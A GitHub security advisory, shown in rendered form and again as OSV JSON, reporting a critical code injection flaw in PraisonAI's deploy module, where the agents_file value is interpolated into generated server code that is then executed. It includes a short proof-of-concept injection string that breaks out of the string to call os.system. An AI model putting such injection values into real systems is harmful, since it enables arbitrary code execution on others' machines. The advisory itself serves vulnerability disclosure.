GHSA-G6J7-PFFP-8WHG

Vulnerability from github – Published: 2026-10-07 16:05 – Updated: 2026-10-07 16:05
VLAI
Summary
PraisonAI: Code Injection via f-string Interpolation in Deploy API Server Generation
Details

Summary

The deploy/api.py module generates Python server code by directly interpolating the agents_file parameter into an f-string that is then written to a file and executed via subprocess.Popen(). An attacker who controls the agents_file value (via CLI argument, configuration, or upstream API) can inject arbitrary Python code.

Details

src/praisonai/praisonai/deploy/api.py (line 80):

code = f'''...
    praisonai = PraisonAI(agent_file="{agents_file}")
...
    "agent_file": "{agents_file}"
...'''

The generated code is then executed (line 190):

subprocess.Popen(['python', server_file])

agents_file is never sanitized or validated. A malicious value breaks out of the string context:

agents_file = '"); import os; os.system("id"); #'
# Generated code becomes:
# praisonai = PraisonAI(agent_file=""); import os; os.system("id"); #")

The same pattern exists in deploy/docker.py (line 33) for Dockerfile generation.

PoC

# The injection:
agents_file = '"); import os; os.system("id"); #'

# What the generated code looks like:
template = f'praisonai = PraisonAI(agent_file="{agents_file}")'
print(template)
# Output: praisonai = PraisonAI(agent_file=""); import os; os.system("id"); #")

Impact

  • Arbitrary code execution on the machine running the deploy command
  • Supply chain risk if agents_file comes from a configuration file or CI/CD pipeline
Severity
9.1 (Critical)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.6.77"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "PraisonAI"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.6.78"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-62176"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-07T16:05:53Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "### Summary\nThe `deploy/api.py` module generates Python server code by directly interpolating the `agents_file` parameter into an f-string that is then written to a file and executed via `subprocess.Popen()`. An attacker who controls the `agents_file` value (via CLI argument, configuration, or upstream API) can inject arbitrary Python code.\n\n### Details\n\n`src/praisonai/praisonai/deploy/api.py` (line 80):\n\n```python\ncode = f\u0027\u0027\u0027...\n    praisonai = PraisonAI(agent_file=\"{agents_file}\")\n...\n    \"agent_file\": \"{agents_file}\"\n...\u0027\u0027\u0027\n```\n\nThe generated code is then executed (line 190):\n```python\nsubprocess.Popen([\u0027python\u0027, server_file])\n```\n\n`agents_file` is never sanitized or validated. A malicious value breaks out of the string context:\n\n```python\nagents_file = \u0027\"); import os; os.system(\"id\"); #\u0027\n# Generated code becomes:\n# praisonai = PraisonAI(agent_file=\"\"); import os; os.system(\"id\"); #\")\n```\n\nThe same pattern exists in `deploy/docker.py` (line 33) for Dockerfile generation.\n\n\n### PoC\n\n```python\n# The injection:\nagents_file = \u0027\"); import os; os.system(\"id\"); #\u0027\n\n# What the generated code looks like:\ntemplate = f\u0027praisonai = PraisonAI(agent_file=\"{agents_file}\")\u0027\nprint(template)\n# Output: praisonai = PraisonAI(agent_file=\"\"); import os; os.system(\"id\"); #\")\n```\n\n### Impact\n- **Arbitrary code execution** on the machine running the deploy command\n- **Supply chain risk** if `agents_file` comes from a configuration file or CI/CD pipeline",
  "id": "GHSA-g6j7-pffp-8whg",
  "modified": "2026-10-07T16:05:53Z",
  "published": "2026-10-07T16:05:53Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-g6j7-pffp-8whg"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PraisonAI: Code Injection via f-string Interpolation in Deploy API Server Generation"
}



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